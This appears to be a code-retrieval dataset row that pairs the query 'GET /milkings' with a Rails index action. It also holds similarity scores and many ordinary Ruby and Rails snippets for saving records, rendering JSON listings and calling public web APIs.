end\n generate_extra_objects(object)\n end\n end", "def save_lines\n detail_lines.save_line \n end", "def save_data(obj, filename) \r\n File.open(File.join(Yrgss.game.getPath.getAbsolutePath,filename), \"wb\") { |f|\r\n Marshal.dump(obj, f)\r\n }\r\nend", "def save_to(path); end", "def save\n file_path = self.class.file_path(@save_id)\n File.open(file_path, 'w') { |file| \n bytes = file.write @items.inspect\n if bytes > 0\n puts \"saved to #{file_path}\"\n else\n puts \"save to #{file_path} failed\"\n end\n }\n end", "def export\n # Temporarily use first database entry for all saves\n s = GomokuSave.first\n s.position = @current_state.position.join\n s.human_to_move = @current_state.player == :human\n s.human_last_row = @current_state.last_move[:human][0]\n s.human_last_column = @current_state.last_move[:human][1]\n s.computer_last_row = @current_state.last_move[:computer][0]\n s.computer_last_column = @current_state.last_move[:computer][1]\n s.top = @current_state.outer_bounds[:top]\n s.bottom = @current_state.outer_bounds[:bottom]\n s.left = @current_state.outer_bounds[:left]\n s.right = @current_state.outer_bounds[:right]\n s.save\n end", "def save!\n path = File.join(basedir, computed_filename)\n Rails.logger.info \"Saved GPX file as #{path}\"\n file = File.new(path, 'wb')\n file.write contents\n file.close\n file\n end", "def save\n File.open(path, 'w+') { |f| f.write(to_rb + \"\\n\") }\n end", "def save\n file_name = ask_save_file\n save_file = File.open(file_name, 'w')\n save_file.puts(serialize)\n save_file.close\n puts \"Game has been saved to Save File #{file_name[-5]}!\"\n puts \"\\n\\n\"\n end", "def save\n if !persisted?\n gps = EXIFR::JPEG.new(@contents).gps\n\n description = {}\n description[:content_type] = 'image/jpeg'\n description[:metadata] = {}\n \n @location = Point.new(:lng => gps.longitude, :lat => gps.latitude)\n description[:metadata][:location] = @location.to_hash\n description[:metadata][:place] = @place\n\n if @contents\n @contents.rewind\n grid_file = Mongo::Grid::File.new(@contents.read, description)\n id = self.class.mongo_client.database.fs.insert_one(grid_file)\n @id = id.to_s\n end\n else\n self.class.mongo_client.database.fs.find(:_id => BSON::ObjectId(@id))\n .update_one(:$set => {\n :metadata => {\n :location => @location.to_hash,\n :place => @place\n }\n })\n end\n end", "def save\n \t\tdescription = {}\t\n \t\tdescription[:metadata] = {} \n \t\tif self.persisted? then\n \t\t\tdescription[:metadata][:location] = self.location.to_hash unless self.location.nil?\n \t\t\tdescription[:metadata][:place] = BSON::ObjectId(self.place.id) unless self.place.nil?\n \t\t\tself.class.mongo_client.database.fs.find(:_id=>BSON::ObjectId(@id)).\n \t\t\tupdate_one(:$set=>description)\n \t\telse\t\n \t\tgeoloc=EXIFR::JPEG.new(@contents).gps\n \t\t\n \t\t#description = {}\t\n \t\tdescription[:content_type]=\"image/jpeg\" \n \t\t#description[:metadata] = {} \n \t\tdescription[:metadata][:location] = (Point.new(:lng=>geoloc.longitude, :lat=>geoloc.latitude)).to_hash\n \t\t@location=Point.new(:lng=>geoloc.longitude, :lat=>geoloc.latitude)\n \t\t@contents.rewind\n \t\tgrid_file = Mongo::Grid::File.new(@contents.read, description)\n\n\t\tid = self.class.mongo_client.database.fs.insert_one(grid_file)\n @id = id.to_s\n @id\n \t\tend\n \tend", "def save_character account, filename, data\n end", "def save\n\t\ttransfer_content from: if rid.rid?\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdb.update self, attributes, version\n\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdb.create_record self, attributes: attributes, cache: false \n\t\t\t\t\t\t\t\t\t\t\t\t\t\tend\n\t\tActiveOrient::Base.store_rid self\n\tend", "def save\n generate_archive(generate_content_types, generate_rels, generate_document)\n end", "def save!\n Powirb.log.debug(\"[#{wid}] saving on #{@filename}\")\n File.open(@filename, 'w+') {|io| io.puts @doc}\n end", "def save\n @data.map(&:save)\n end", "def save_object\n end", "def save!\n @record = fetch_xml\n save_debates\n end", "def save\n end", "def save_as_xls(s_s,save_as)\n sleep 1\n s_s[2].saveas(save_as)\nend", "def save chunk_nr, io\n\t\t\t# retrieve data from io and compare sig \n\t\tend", "def save_to_file(obj)\n File.open(@filename, @mode) do |aFile|\n aFile.puts \"#{obj}\"\n end\n end", "def save_record(record)\n record.save\n end", "def save_record(record)\n record.save\n end", "def marshal_save\n donnee_totale.merge!(updated_at: Time.now.to_i)\n # log \"DATA FILM ENREGISTRÉES (film#donnee_totale) :#{RC}#{donnee_totale.inspect}\"\n File.open(marshal_file,'wb'){|f| f.write Marshal.dump(donnee_totale)}\n end", "def save\n ensure_file_open!\n @file.commit\n true\n end", "def _save_to_store\n self._warnings = []\n _commit_externals \n __pack.commit # TODO: need to add some error catching and roll back the external saves where needed\n end", "def save\n return if !self.valid?\n\n File.open(@file, \"w\") do |f|\n NWN::Gff.write(f, :gff, @obj)\n end\n end", "def save_save_list\n save_list.each do |obj|\n obj.save!\n end\n end", "def save\n pathname.open('w') { |file| file.write(data) }\n end", "def save\n if @place.is_a? Place\n @place = BSON::ObjectId.from_string(@place.id)\n end\n\n if !persisted?\n gps = EXIFR::JPEG.new(@contents).gps\n location=Point.new(:lng=>gps.longitude, :lat=>gps.latitude)\n @contents.rewind\n\n description={}\n description[:metadata] = {\n :location => location.to_hash,\n :place => @place\n }\n #description[:contentType] = \"image/jpeg\" #don't know why not work\n description[:content_type] = \"image/jpeg\"\n @location = Point.new(location.to_hash)\n grid_file = Mongo::Grid::File.new(@contents.read, description)\n @id = self.class.mongo_client.database.fs.insert_one(grid_file).to_s\n else\n doc = self.class.mongo_client.database.fs.find(\n '_id': BSON::ObjectId.from_string(@id)\n ).first\n doc[:metadata][:place] = @place\n doc[:metadata][:location] = @location.to_hash\n self.class.mongo_client.database.fs.find(\n '_id': BSON::ObjectId.from_string(@id)\n ).update_one(doc)\n end\n end", "def save\n ole = File.open(@file_name, 'w')\n ole << header\n ole << fat\n @storages.each { |s| ole << s.to_s }\n ole << Array.new((512-(ole.pos % 512)), 0).pack('c*')\n ole << mini_fat\n ole << mini_fat_stream\n ole << fat_stream\n ole.close\n end", "def save_file_array(input_obj_array)\n\tinput_obj_array.each {|each_obj| save_file(each_obj)}\nend", "def record(record)\n @db.save_doc(record)\n end", "def save!\n @data.map(&:save!)\n end", "def save!\n end", "def dump_records!\n file = Tempfile.new(\"danbooru-export-dump-\", binmode: true)\n file = Zlib::GzipWriter.new(file)\n\n CurrentUser.scoped(User.anonymous) do\n records.find_each(batch_size: 5_000) do |record|\n file.puts(record.to_json)\n end\n end\n\n file.close # flush zlib footer\n file\n end", "def save\n return if @content.nil?\n put_rest \"extra/#{@name}\", @content, :content_type => \"application/octet-stream\"\n end", "def pstore_save\n # Les métadonnées\n store_metadata\n # Scenes\n store_data :scene\n # Personnages\n store_data :personnage\n # Décors\n store_data :decor\n # Brins\n store_data :brin\n # Notes\n store_data :note\n end", "def save\n\n end", "def save *args\n @save = args.first if args.size > 0\n end", "def store_images #:nodoc:\n record = 0x00EC # Record identifier\n length = 0x0000 # Bytes to follow\n\n ids = @object_ids.dup\n spid = ids.shift\n\n images = @images_array\n num_images = images.size\n\n num_filters = @filter_count\n num_comments = @comments_array.size\n num_charts = @charts_array.size\n\n # Skip this if there aren't any images.\n return if num_images == 0\n\n (0 .. num_images-1).each do |i|\n row = images[i][0]\n col = images[i][1]\n name = images[i][2]\n x_offset = images[i][3]\n y_offset = images[i][4]\n scale_x = images[i][5]\n scale_y = images[i][6]\n image_id = images[i][7]\n type = images[i][8]\n width = images[i][9]\n height = images[i][10]\n\n width = width * scale_x unless scale_x == 0\n height = height * scale_y unless scale_y == 0\n\n # Calculate the positions of image object.\n vertices = position_object(col,row,x_offset,y_offset,width,height)\n\n if (i == 0)\n # Write the parent MSODRAWIING record.\n dg_length = 156 + 84*(num_images -1)\n spgr_length = 132 + 84*(num_images -1)\n\n dg_length += 120 * num_charts\n spgr_length += 120 * num_charts\n\n dg_length += 96 * num_filters\n spgr_length += 96 * num_filters\n\n dg_length += 128 * num_comments\n spgr_length += 128 * num_comments\n\n data = store_mso_dg_container(dg_length) +\n store_mso_dg(*ids) +\n store_mso_spgr_container(spgr_length) +\n store_mso_sp_container(40) +\n store_mso_spgr() +\n store_mso_sp(0x0, spid, 0x0005)\n spid = spid + 1\n data = data +\n store_mso_sp_container(76) +\n store_mso_sp(75, spid, 0x0A00)\n spid = spid + 1\n data = data +\n store_mso_opt_image(image_id) +\n store_mso_client_anchor(2, *vertices) +\n store_mso_client_data()\n else\n # Write the child MSODRAWIING record.\n data = store_mso_sp_container(76) +\n store_mso_sp(75, spid, 0x0A00)\n spid = spid + 1\n data = data +\n store_mso_opt_image(image_id) +\n store_mso_client_anchor(2, *vertices) +\n store_mso_client_data\n end\n length = data.length\n header = [record, length].pack(\"vv\")\n append(header, data)\n\n store_obj_image(i+1)\n end\n\n @object_ids[0] = spid\n end", "def save\n SAVE\n end", "def save\n end", "def save\n end", "def save_records\n @new_batch_flag = 0\n (@parser == 'wellsfargo' && type == \"CORRESP\") ? prepare_wellfargo_corresp_batch : prepare_batch\n if @bat\n if @inbound_file_information\n @bat.inbound_file_information = @inbound_file_information\n @bat.arrival_time = arr_time = @inbound_file_information.arrival_time\n set_batch_time @bat, arr_time\n end\n @job_condition = job_condition\n if @job_condition\n @img_count = 1\n do_bank_logics if type == 'PAYMENT' #Applying bank specific logic\n end\n images = call_parser_specific_method \"prepare_image\"\n images.each{|image| @bat.images_for_jobs << image}\n\n prepare_job\n @bat.jobs << @job if @job_condition\n images.each{|image| @job.images_for_jobs << image}\n @job.initial_image_name = @initial_image_name\n if @job_condition\n check = prepare_cheque\n if type == 'PAYMENT'\n micr = prepare_micr\n if micr\n payer = micr.payer\n check.payer_id = micr.payer_id if micr.payer_id\n if !facility.payer_ids_to_exclude.blank?\n @job.job_status = JobStatus::EXCLUDED if payer && payer.excluded?(facility)\n elsif !facility.payer_ids_to_include.blank?\n @job.job_status = JobStatus::EXCLUDED if !facility.included_payers.include?(payer)\n end\n micr.check_informations << check\n end\n end\n @job.check_informations << check\n end\n end\n\n if @bat.save\n @bat.update_attributes(:status => BatchStatus::NEW)\n if @job.save\n images.each do |image|\n# if image.save\n if image.image_file_name.upcase == @check_image.to_s.upcase\n save_image_types(\"CHK\",image)\n elsif ((image.image_file_name.upcase == @envelop_image.to_s.upcase) and (@job.job_status != JobStatus::EXCLUDED))\n save_image_types(\"ENV\",image)\n elsif ((@job.job_status == JobStatus::EXCLUDED) and (image.image_file_name.upcase != @check_image.to_s.upcase))\n save_image_types(\"OTH\",image)\n end\n total_number_of_images = number_of_pages(@job)\n check_number = check.check_number if !check.blank?\n estimated_eob = @job.estimated_no_of_eobs(total_number_of_images, micr, check_number)\n @job.update_attributes(:estimated_eob => estimated_eob, :pages_to => total_number_of_images)\n \n InputBatch::Log.status_log.info \"Image #{image.image_file_name}\n id #{image.id} batch id #{image.batch.id} job id #{image.jobs.first.id}\n successfully loaded\"\n puts \"Image #{image.image_file_name} successfully loaded\" if !image.size.blank?\n# else\n# raise \"Error on line #{@row_index} : Cannot load image #{image.image_file_name}\"\n# end\n end\n if @job_condition and check.save\n InputBatch::Log.status_log.info \"Check id #{check.id}, check_number\n #{check.check_number}, Job id #{check.job.id}, batch id #{check.job.batch.id}\n successfully loaded\"\n if micr and micr.save\n InputBatch::Log.status_log.info \"Check #{check.id} associated to micr\n #{check.micr_line_information.id}\"\n @job.save_payer_group(micr)\n end\n\n end\n else\n raise \"Error on line #{@row_index} : Cannot save job for batch #{@bat.batchid}\"\n end\n else\n raise \"Error on line #{@row_index} : Cannot save batch\"\n end\n \"#{@bat.date.strftime(\"%Y%m%d\")}_#{@bat.batchid}_SUPPLEMENTAL_OUTPUT\" rescue nil\n end", "def save(*_)\n end", "def create_save\n @save_data = {:turns => @turns,:guesses => @guesses,:secret_word => @secret_word, :hidden_word => @hidden_word}\n save = File.new(\"./lib/save.txt\", \"w+\")\n save.puts JSON::dump(save_data)\n save.close\n end", "def file_save file\n\t\tfields \t\t\t\t= {}\n \t\tfields[:uid] \t\t= file_uid\n\t\tfields[:fnum] \t\t= file_num_generate\n\t\tfields[:name] \t\t= file[:filename].split('.').first\n\t\tfields[:created]\t= Time.now\n\t\tfields[:type]\t\t= file[:type]\n \t\tfields[:path] \t\t= \"#{file_uid}-#{fields[:created].to_i}#{_random(3)}\"\n\n\t\t# allow these file type to save\n\t\tunless _var(:file_type).include? file[:type]\n\t\t\t_throw Sl[:'the file type isn`t allowed to save']\n\t\tend\n\n\t\t# allow the scope of file size\n\t\tfile_content = file[:tempfile].read\n\t\tif (fields[:size] = file_content.size) > _var(:file_size).to_i\n\t\t\t_throw Sl[:'the file size is too big']\n\t\tend\n\n\t\t# save the info of file\n\t\tSdb[:file_info].insert(fields)\n\n\t\t# save the body of file\n\t\tpath = Spath[:upload_dir] + fields[:path]\n\t\tSimrb.path_write path, file_content\n\t\t_msg :file_save, Sl['saved file successfully']\n\n# \t\t\tFile.open(Spath[:upload_dir] + fields[:path], 'w+') do | f |\n# \t\t\t\tf.write file_content\n# \t\t\tend\n\n# \n# \t\t# return the value\n# \t\tunless reval == nil\n# \t\t\tSdb[:file_info].filter(fields).get(reval)\n# \t\tend\n\tend", "def save\n end", "def save\n end", "def save_with_load\r\n @oksave = true\r\n save\r\n @oksave = nil\r\n end", "def create_save\n @save_data = {:turns => @turns,:guesses => @guesses,:secret_word => @secret_word, :hidden_word => @hidden_word}\n save = File.new(\"save.txt\", \"w+\")\n save.puts JSON::dump(save_data)\n save.close\n end", "def save\n ApplicationDatabase.new.save_compressed_to_file(@file.path)\n end", "def save\n if self.persisted?\n # Just update the metadata\n ph = self.class.mongo_client.database.fs.find({:_id=>BSON::ObjectId.from_string(@id)})\n ph.update_one(\n {:metadata=>\n {:location=>@location.to_hash, :place=>@place}\n }) if ph.count == 1\n return\n end\n\n # Get the GPS info from the photo metadata\n gps = EXIFR::JPEG.new(@contents).gps\n @contents.rewind # Reset the read cursor\n\n # Store the latitude/longitude information in a Point object\n @location = Point.new(:lng=>gps.longitude, :lat=>gps.latitude)\n\n # Store meta data about the file\n description = {}\n description[:content_type] = \"image/jpeg\"\n description[:metadata] = {}\n description[:metadata][:location] = @location.to_hash\n description[:metadata][:place] = @place\n\n # Save the file\n grid_file = Mongo::Grid::File.new(@contents.read, description)\n id = self.class.mongo_client.database.fs.insert_one(grid_file)\n @id = id.to_s\n @id\n end", "def save( oid, metadata )\n\t\toid = normalize_oid( oid )\n\t\t@storage[ oid ] = metadata.dup\n\tend", "def save(filename = T.unsafe(nil)); end", "def save(filename = T.unsafe(nil)); end", "def save_grip; end", "def save\n prepare\n h = {}\n h[:title] = @title\n h[:sequence] = @sequence.map(&:export)\n outfile = File.join(@basedir, \"#{@name}.json\")\n File.open(outfile, 'w') do |f|\n f.write JSON.pretty_generate(h)\n end\n end", "def save_file_batch(files, new_obj_id)\n url = \"#{@base_url}/api/v2/files/#{new_obj_id}/create_batch\"\n resp = api_post_json(url, files.to_json)\n if resp.code != '201'\n @log.write(\"Error saving #{files.count} files #{files[0]['identifier']}...\\n\")\n @log.write(files.inspect)\n @log.write(\"\\n\" + resp.body + \"\\n\")\n #exit(1)\n end\n end", "def save_as(filename = T.unsafe(nil)); end", "def save_as(filename = T.unsafe(nil)); end", "def save_as(filename = T.unsafe(nil)); end", "def save\n #code\n end", "def save(xml)\n @storage.save(xml)\n end", "def model\n XFile \n end", "def save(merge = T.unsafe(nil), file = T.unsafe(nil)); end", "def save(merge = T.unsafe(nil), file = T.unsafe(nil)); end", "def save(*zobjects)\n new_records = 0\n updated_records = 0\n\n # Get all new objects\n new_objects = zobjects.flatten.select do |zobject|\n zobject.new_record? && zobject.changed.present? && zobject.valid?\n end\n\n # Get all updated objects\n updated_objects = zobjects.flatten.select do |zobject|\n !zobject.new_record? && zobject.changed.present? && zobject.valid?\n end\n\n # Make calls in batches of 50\n new_objects.each_slice(MAX_BATCH_SIZE) do |batch|\n new_records += process_save(batch, :create)\n end\n\n updated_objects.each_slice(MAX_BATCH_SIZE) do |batch|\n updated_records += process_save(batch, :update)\n end\n\n new_records + updated_records\n end", "def save\n\n properties = {}\n # exif = {}\n # KCGImagePropertyExifDictionary\n # exif[KCGImagePropertyExifUserComment] = 'Image downloaded from www.sheetmusicplus.com'\n # exif[KCGImagePropertyExifAuxOwnerName] = 'www.sheetmusicplus.com'\n if @filetype == :pdf\n CGPDFContextEndPage(@ctx)\n CGContextFlush(@ctx)\n return\n elsif @filetype == :png\n format = NSPNGFileType\n elsif @filetype == :tif\n format = NSTIFFFileType\n properties[NSImageCompressionMethod] = NSTIFFCompressionLZW\n #properties[NSImageCompressionMethod] = NSTIFFCompressionNone\n elsif @filetype == :gif\n format = NSGIFFileType\n #properties[NSImageDitherTransparency] = 0 # 1 = dithered, 0 = not dithered\n #properties[NSImageRGBColorTable] = nil # For GIF input and output. It consists of a 768 byte NSData object that contains a packed RGB table with each component being 8 bits.\n elsif @filetype == :jpg\n format = NSJPEGFileType\n properties[NSImageCompressionFactor] = @quality # (jpeg compression, 0.0 = max, 1.0 = none)\n #properties[NSImageEXIFData] = exif\n end\n cgimageref = CGBitmapContextCreateImage(@ctx) # => CGImageRef\n bitmaprep = NSBitmapImageRep.alloc.initWithCGImage(cgimageref) # => NSBitmapImageRep\n blob = bitmaprep.representationUsingType(format, properties:properties) # => NSConcreteData\n blob.writeToFile(@output, atomically:true)\n true\n end", "def save_to_db(type)\n self.tag = type\n self.save!\n puts \"saving at url : #{self.file.url}\"\n puts \"saved\"\n end", "def persistent_to_quicksave\n p_file = File.open(File.join([self.path, 'persistent.sfs']), 'r'){|f| f.readlines}\n File.open(File.join([self.path, 'quicksave.sfs']), 'w'){|f| f.write(p_file.join)}\n end", "def save_checkpoint\n @api.send(\"world.checkpoint.save()\")\n end", "def save\n prepare\n atoms_sorted = {}\n @atoms.each do |atom_name, records|\n e_p = encoded_prefix(atom_name)\n atoms_sorted[e_p] = {} if !atoms_sorted.has_key?(e_p)\n atoms_sorted[e_p][atom_name] = records\n end\n atoms_sorted.each do |e_p, atoms|\n #p \"Saving #{e_p}.\"\n File.open(File.join(@root + [e_p.to_s]),'w+') do |f|\n Marshal.dump(atoms,f)\n end\n end\n save_record_size\n end", "def save\n CSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n csv << [@author, @content]\n end\nend", "def save\n end", "def write_save_data(file)\r\n write_characters(file)\r\n write_frame(file)\r\n write_setup(file)\r\n write_data(file)\r\n end", "def save_to_file\n f = File.open(\"#{IMAGE_DATA_DIR}/#{self.id}\",\"w\")\n f.write(self.data)\n f.close\n end", "def quickSave\n puts \"quick save\"\n sdc = FXDCWindow.new(@exportImage) #Select the exportImage object\n sdc.foreground = FXRGB(255, 255, 255)\n sdc.fillRectangle(0, 0, @canvas.width, @canvas.height) #Paint the exportImage white(\"Flush the image\")\n \n index = @layerArray.length() #Index is a pointer that starts at the end of the layer array\n while index >= 0\n if @dirtyArray[index] == true\n sdc.drawImage(@imageArray[index], 0, 0) #The while loop goes index by index in the image array and if data exists, it draws it onto the exportImage.\n end\n index = index - 1\n end\n sdc.end\n \n if @saved #Checks if the user has previously saved data using the file dialog save.\n \n FXFileStream.open(@savePath, FXStreamSave) do |outfile| #Open a file stream\n @exportImage.restore #Ensure exportImage data is allocated\n @exportImage.savePixels(outfile) #Save the image data to the stored savePath int the event that a long save has previously occured, overwriting the previous image.\n end\n end\n return 1\n end", "def save_results()\n #puts @file_string\n stime = Time.now.strftime(\"%m/%d/%Y %H:%M:%S\")\n db = SQLDb.new(DB_FILE)\n db.open\n \n begin\n @file_string.each_line do |line|\n arrParts = line.split(\",\")\n str_tracking_num = arrParts[0].to_s.strip().gsub(' ','')\n strStatus = arrParts[1].to_s.strip().squeeze(\" \")\n id = @tracking_nums[str_tracking_num]\n\n if @status_codes[strStatus] == nil\n str_status_code = 0\n else\n str_status_code = @status_codes[strStatus]\n end\n #puts str_status_code\n puts \"SalesID: \" + id.to_s + \" Status: \" + str_status_code.to_s\n\n #Pass the data to the vb executable\n #system(\"UpdateShipping.exe #{id},#{str_status_code}\")\n ssql = \"INSERT INTO UPS Values('\" + id.to_s + \"','\" + stime + \"',\" + str_status_code.to_s + \",'false','true','false')\"\n db.execute(ssql)\n end\n\n rescue Exception => ex\n puts ex\n log_error(ex)\n end\n \n db.close\n end", "def save_brins\n brins_file.write( Marshal.dump(brins))\n update_all_data_in_file\n end", "def save\n object.save\n end", "def save!\n object.save!\n end" ]
[ "0.6062356", "0.59159034", "0.5879312", "0.58615476", "0.58615476", "0.58615476", "0.58615476", "0.58615476", "0.58615476", "0.58615476", "0.58615476", "0.58514076", "0.58272076", "0.5823451", "0.5745785", "0.57090163", "0.5666307", "0.5665053", "0.56631726", "0.56468445", "0.5644457", "0.5603305", "0.5593545", "0.55683976", "0.5563961", "0.55423486", "0.5538133", "0.5527255", "0.5521849", "0.55124456", "0.5497277", "0.54929656", "0.54841095", "0.54821086", "0.54462934", "0.5442323", "0.5433131", "0.5432477", "0.5420435", "0.54150945", "0.54150945", "0.5402715", "0.539794", "0.5371465", "0.5357915", "0.5354611", "0.5354001", "0.5338755", "0.5332351", "0.53261775", "0.5316998", "0.5315601", "0.53125846", "0.5311287", "0.52898455", "0.5283671", "0.52825", "0.5276859", "0.5269508", "0.5253836", "0.5252085", "0.5252085", "0.5246153", "0.5244776", "0.52280957", "0.5223669", "0.5211465", "0.5211465", "0.52098596", "0.5206907", "0.51959485", "0.51954526", "0.51917213", "0.5184935", "0.5184935", "0.51832575", "0.51779306", "0.5176555", "0.5172189", "0.5172189", "0.5172189", "0.5165838", "0.51623636", "0.51595366", "0.5144547", "0.51442736", "0.51421577", "0.5140595", "0.51395035", "0.5138224", "0.51238894", "0.51220834", "0.5121787", "0.5118996", "0.51181734", "0.5117928", "0.5117002", "0.51155615", "0.5106986", "0.5106186", "0.51049143" ]
0.0
-1
GET /milkings GET /milkings.json
def index # if params[:dairy_id] # @current_user.diary @milkings = Milking.all render :index, status: :created, location: v1_milking_url(@milkings) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_brandings\n request :get, \"/v3/brandings.json\"\n end", "def index\n @milks = Milk.all\n end", "def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end", "def index\n @listings = Listing.all\n render json: @listings\n end", "def index\n @listings = Listing.by_user(current_user).all\n\n render json: @listings\n end", "def index\n @used_bikes = UsedBike.all\n\n render json: @used_bikes, each_serializer: Web::V1::UsedBikeSerializer\n end", "def index\n @pricings = Pricing.all\n\n render json: @pricings\n end", "def index # returns all bikes within a certain radius\n ## TODO: use coordinates later, when more campuses and bikes.\n # # defaults radius to half mile, and coordinate to requesting ip address\n # radius = params[:radius] ? params[:radius] : 0.5\n # coordinates = params[:coordinates] ? params[:coordinates] : request.location\n # puts coordinates\n # @bikes = Coordinate.near(coordinates, radius).joins(:bikes)\n @bikes = Bike.available\n render json: @bikes\n end", "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "def index\n @smokings = Smoking.all\n end", "def update\n if @milking.update(milking_params)\n render :show, status: :ok, location: v1_milking_url(@milking)\n else\n render json: @milking.errors, status: :unprocessable_entity\n end\n end", "def index\n @kids = Kid.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kids }\n end\n end", "def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end", "def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end", "def client_choose(offset = 10, limit = 20)\n response = Net::HTTP.get(\n URI(\"https://pokeapi.co/api/v2/pokemon/?offset=#{offset}&limit=#{limit}\")\n )\n \n JSON.parse(response)\nend", "def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend", "def index\n ingredients = params[:ingredients]\n if params[:limit]\n searchlimit = params[:limit]\n else\n searchlimit = '10'\n end\n\n require 'nokogiri'\n require 'uri-handler'\n require 'open-uri'\n\n ingredients = ingredients.to_uri\n doc = Nokogiri::HTML(open(\"http://www.webtender.com/cgi-bin/search?name=&ingr=#{ingredients}&what=drink&show=#{searchlimit}&verbose=on\"))\n index = 0\n\n drinknames = []\n ings = []\n cocktails = Hash.new\n\n doc.css(\"td[width='90%']\").each do |node|\n # puts node.xpath('/a').text\n drinknames[index] = node.css('a').text\n ings = node.css(\"small\")[1].text\n\n ings.gsub!('Ingredients: ', '')\n ings = ings.split(', ')\n\n\n cocktails[drinknames[index]] = [ings]\n\n index += 1\n end\n\n respond_to do |format|\n format.json { render :json => cocktails }\n end\n end", "def index\n json_response(Spot.all)\n end", "def index\n @sightings = Sighting.all\n render json: @sightings\n end", "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "def movie_data\n response = RestClient.get(\"critics.api.mks.io/movie-genres\")\n JSON.parse(response)\nend", "def index\n @api_v1_mentorings = Api::V1::Mentoring.all\n end", "def index\n @bills = @dwelling.bills\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end", "def similar\n @property = Property.find(params[:id])\n @response = HTTParty.get(\"http://api.nestoria.co.uk/api?place_name=#{@property.postCode}&action=search_listings&pretty=1&encoding=json&listing_type=rent&country=uk\")\n @data = @response['response']['listings']\n respond_to do |format|\n format.js\n end\n end", "def index\n @pots = Pot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pots }\n end\n end", "def rating(food)\n url = 'https://thereportoftheweek-api.herokuapp.com/reports'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n result = JSON.parse(response)\n puts result[7]['product']\n \n end", "def index\n response = HTTParty.get('http://okta-api:8080/pets/v1/cats', {headers: {\"X-Token\"=> session[:oktastate][:credentials][:token]}})\n if response.code == 200\n @cats = JSON.parse(response.body)\n else\n @cats = []\n end\n end", "def index\n @rentable_items = RentableItem.all\n render json: @rentable_items\n end", "def index\n bookings = Booking.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all bookings', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end", "def index\n @postings = Posting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @postings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def planets\n data = JSON.parse(open(\"http://swapi.co/api/planets\").read)\n @results = data[\"results\"]\n end", "def set_milking\n @milking = Milking.find(params[:id])\n end", "def index\n # if we have plan to use paginate\n # @kinofilms = Kinofilm.paginate :page => params[:page], :order => 'id DESC'\n @kinofilms = Kinofilm.all\n @kinofilm = Kinofilm.new\n respond_with(@kinofilms, :location=>kinofilms_path )\n end", "def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend", "def index\n @bikes = current_user.bikes\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bikes }\n end\n end", "def meals\n get(\"/user/#{@user_id}/meals.json\")\n end", "def index\n pets = pets_from_query\n\n respond_to do |format|\n format.html do\n @pets = pets.paginate(page: params[:page], per_page: 10)\n end\n format.json do\n @pets = pets\n end\n end\n end", "def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end", "def index\n @lugars = Lugar.all\n\n render json: @lugars\n end", "def show\n render json: @used_bike, serializer: Web::V1::UsedBikeSerializer\n end", "def get_random_pokemon(number)\n uri = URI(\"https://pokeapi.co/api/v2/pokemon/#{number}\")\n res = Net::HTTP.get_response(uri)\n JSON.parse(res.body)\nend", "def index\n @loves = Love.all\n render json: @loves\n end", "def index\n @cannings = Canning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cannings }\n end\n end", "def index\n @harvestings = Harvesting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @harvestings }\n end\n end", "def me\n\t\tuser_listings = current_user.listings\n render json: [current_user, user_listings]\n end", "def index\n @spots = Spot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def index\n\n # use a shooting collection cache\n\n respond_to do |format|\n format.html # index.html.erb\n format.json do\n @shootings = Shooting.get_shootings_from_yammer(Yammer::TokenClient.new(token: current_user.access_token))\n render json: { shootings: @shootings }\n end\n end\n end", "def index\n @spots = Spot.visible.order('id desc').page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def get_reading\n\t\turi = URI.parse('http://localhost:5000/thermometers.json')\n\t\tthermo_response = Net::HTTP.get_response(uri)\n\t\tcheck = thermo_response.body\n\t\tj = JSON.parse(check)\n\tend", "def index\n @kbs = Kb.search(params[:q]).page(params[:page]).order(\"id desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @kbs }\n end\n end", "def index\n @holdings = Holding.select(\"*, ((bid - price) * qty) as gain\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @holdings }\n end\n end", "def index\n @innings = Inning.all\n\n respond_to do |format|\n 